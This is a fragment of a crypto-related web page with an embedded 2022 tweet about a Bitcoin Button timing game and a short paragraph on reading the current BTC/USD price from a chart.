<p lang="en" dir="ltr">Close.. Very close! But not close enough it seems! Who did better than my time?<a href="https://twitter.com/hashtag/BitcoinButton?src=hash&amp;ref_src=twsrc%5Etfw">#BitcoinButton</a> <a href="https://twitter.com/hashtag/Binance?src=hash&amp;ref_src=twsrc%5Etfw">#Binance</a> <a href="https://twitter.com/hashtag/Crypto?src=hash&amp;ref_src=twsrc%5Etfw">#Crypto</a> <a href="https://twitter.com/hashtag/Cryptocurrencies?src=hash&amp;ref_src=twsrc%5Etfw">#Cryptocurrencies</a> <a href="https://twitter.com/hashtag/Cryptocurrency?src=hash&amp;ref_src=twsrc%5Etfw">#Cryptocurrency</a> <a href="https://twitter.com/hashtag/Bitcoin?src=hash&amp;ref_src=twsrc%5Etfw">#Bitcoin</a> <a href="https://twitter.com/hashtag/BTC?src=hash&amp;ref_src=twsrc%5Etfw">#BTC</a> <a href="https://twitter.com/search?q=%24BTC&amp;src=ctag&amp;ref_src=twsrc%5Etfw">$BTC</a> <a href="https://t.co/GAqik705is">pic.twitter.com/GAqik705is</a></p>
<p>&mdash; Level Up  Trading (@Leveluptrading) <a href="https://twitter.com/Leveluptrading/status/1521451703211593728?ref_src=twsrc%5Etfw">May 3, 2022</a></p></blockquote>
<p><script async src="https://platform.twitter.com/widgets.js" charset="utf-8"></script></div>
<p>When you look at the right part of the graph, you can see the price indexes. Put the cursor on the latest candle and to find the current BTC in USD exchange rate. This is an approximate price at which you can buy Bitcoins for now. However, keep in mind this value can change dramatically even the next minute.</p>
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